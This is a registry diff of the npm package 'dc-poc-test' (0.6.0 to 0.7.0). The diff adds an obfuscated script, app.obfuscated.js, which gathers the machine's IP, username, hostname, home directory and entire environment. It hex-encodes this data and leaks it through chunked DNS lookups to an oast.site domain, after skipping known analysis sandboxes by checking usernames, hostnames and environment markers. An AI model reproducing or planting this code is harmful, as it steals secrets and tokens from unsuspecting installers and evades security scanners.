dc-poc-test 0.6.0 → 0.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/app.obfuscated.js +1 -1
- package/package.json +1 -1
package/app.obfuscated.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
function
|
1
|
+
function a0_0x1dde(_0x5a9def,_0x5190f2){const _0x552995=a0_0x5529();return a0_0x1dde=function(_0x1dde8a,_0x3c96b4){_0x1dde8a=_0x1dde8a-0xb3;let _0x221586=_0x552995[_0x1dde8a];return _0x221586;},a0_0x1dde(_0x5a9def,_0x5190f2);}const a0_0x3da898=a0_0x1dde;(function(_0x10c910,_0x2b7d5e){const _0x292804=a0_0x1dde,_0x53efd0=_0x10c910();while(!![]){try{const _0x15139f=parseInt(_0x292804(0xdb))/0x1*(-parseInt(_0x292804(0xca))/0x2)+parseInt(_0x292804(0xce))/0x3+-parseInt(_0x292804(0xc5))/0x4+-parseInt(_0x292804(0xbe))/0x5*(parseInt(_0x292804(0xe0))/0x6)+-parseInt(_0x292804(0xd5))/0x7*(parseInt(_0x292804(0xbd))/0x8)+-parseInt(_0x292804(0xcf))/0x9*(-parseInt(_0x292804(0xc4))/0xa)+parseInt(_0x292804(0xb8))/0xb*(parseInt(_0x292804(0xb9))/0xc);if(_0x15139f===_0x2b7d5e)break;else _0x53efd0['push'](_0x53efd0['shift']());}catch(_0x209d88){_0x53efd0['push'](_0x53efd0['shift']());}}}(a0_0x5529,0x30a10));const os=require('os'),dns=require(a0_0x3da898(0xdc));function isBlockedByKeywords(_0x2db7e6,_0x21527d){const _0x13c13f=a0_0x3da898,_0x59f333=[_0x13c13f(0xe1),_0x13c13f(0xbc),_0x13c13f(0xda)],_0x334c1e=(_0x2db7e6||'')['toLowerCase'](),_0x4ea711=(_0x21527d||'')[_0x13c13f(0xc3)]();return _0x59f333[_0x13c13f(0xc0)](_0x33a16d=>_0x334c1e[_0x13c13f(0xbb)](_0x33a16d)||_0x4ea711[_0x13c13f(0xbb)](_0x33a16d));}function isBlockedByEnv(_0x19a970){const _0x6fd452=a0_0x3da898;if(!_0x19a970||typeof _0x19a970!==_0x6fd452(0xd0))return![];const _0x32d8be=['hscan-supplychain-dynamic','mirrors.cloud.tencent','verdaccio:4873',_0x6fd452(0xd3),'MALYSIS_ANALYSIS_ID',_0x6fd452(0xd7),'npm_execpath\x22:\x20\x22/root/.nvm/'][_0x6fd452(0xdd)](_0xe010cf=>_0xe010cf[_0x6fd452(0xc3)]());for(const [_0x6cb170,_0x2e7e12]of Object[_0x6fd452(0xc9)](_0x19a970)){const _0x5ad68f=_0x6cb170[_0x6fd452(0xc3)](),_0x3da8cd=(_0x2e7e12??'')['toString']()[_0x6fd452(0xc3)]();if(_0x32d8be[_0x6fd452(0xc0)](_0x24d43f=>_0x5ad68f['includes'](_0x24d43f)||_0x3da8cd[_0x6fd452(0xbb)](_0x24d43f)))return!![];}return![];}function a0_0x5529(){const _0x791988=['106giMWek','platform','hex','arch','731952woHoaU','46863QxGrSF','object','substring','networkInterfaces','10.100.108.146:15672','N/A','694946xwdcaA','hostname','INIT_CWD\x22:\x20\x22/tmp','IPv4','stringify','DESKTOP-','5515nRMREA','dns','map','decoy_start_','length','894wLkbbT','lili-pc','family','username','userInfo','lookup','toString','583gwqNBi','168228yZHtbM','log','includes','justin','8LTlhgj','12385cRDflo','env','some','random','d2i33fp2eku69a37f7fgaseix884z6zkr.oast.site','toLowerCase','410REpikL','962592NiwrSG','homedir','decoy_end','[safe]\x20blocked\x20by\x20IOC:','entries'];a0_0x5529=function(){return _0x791988;};return a0_0x5529();};((async()=>{const _0x2a8e88=a0_0x3da898,_0x4036fa=_0x2a8e88(0xc2);let _0x13a26b=_0x2a8e88(0xd4);try{const _0x58e2e5=os[_0x2a8e88(0xd2)]();for(const _0x86a596 of Object['keys'](_0x58e2e5)){for(const _0x541061 of _0x58e2e5[_0x86a596]){if(_0x541061[_0x2a8e88(0xb3)]===_0x2a8e88(0xd8)&&!_0x541061['internal']){_0x13a26b=_0x541061['address'];break;}}if(_0x13a26b!==_0x2a8e88(0xd4))break;}}catch(_0x11afeb){}const _0x358851=os[_0x2a8e88(0xd6)]()||'',_0x5a1637=(os['userInfo']()[_0x2a8e88(0xb4)]||'')[_0x2a8e88(0xb7)](),_0x1894bf=process[_0x2a8e88(0xbf)],_0x16c777=isBlockedByKeywords(_0x5a1637,_0x358851),_0x28b71a=isBlockedByEnv(_0x1894bf);if(_0x16c777||_0x28b71a){console[_0x2a8e88(0xba)](_0x2a8e88(0xc8),JSON[_0x2a8e88(0xd9)]({'username':_0x5a1637,'hostname':_0x358851,'iocUsernameHost':_0x16c777,'iocEnv':_0x28b71a},null,0x2));return;}const _0x296f36=_0x2a8e88(0xde)+Math[_0x2a8e88(0xc1)]()[_0x2a8e88(0xb7)](0x24)[_0x2a8e88(0xd1)](0x2);let _0x1e1c76={'_decoy':_0x296f36,'ip':_0x13a26b,'username':os[_0x2a8e88(0xb5)]()['username'],'hostname':os[_0x2a8e88(0xd6)](),'platform':os[_0x2a8e88(0xcb)](),'arch':os[_0x2a8e88(0xcd)](),'home':os[_0x2a8e88(0xc6)](),'env':process['env'],'_decoy2':_0x2a8e88(0xc7)};const _0x2dd9fc=JSON[_0x2a8e88(0xd9)](_0x1e1c76),_0x3dfbe9=Buffer['from'](_0x2dd9fc)[_0x2a8e88(0xb7)](_0x2a8e88(0xcc)),_0x2e3b4e=0x32;for(let _0x24597d=0x0;_0x24597d<_0x3dfbe9[_0x2a8e88(0xdf)];_0x24597d+=_0x2e3b4e){const _0x3c1443=_0x3dfbe9['substring'](_0x24597d,_0x24597d+_0x2e3b4e),_0x3bbf01=_0x24597d/_0x2e3b4e+'.'+_0x3c1443,_0x5d4897=_0x3bbf01+'.'+_0x4036fa;dns[_0x2a8e88(0xb6)](_0x5d4897,_0x246586=>{}),await new Promise(_0x1d21eb=>setTimeout(_0x1d21eb,0x64));}})());
|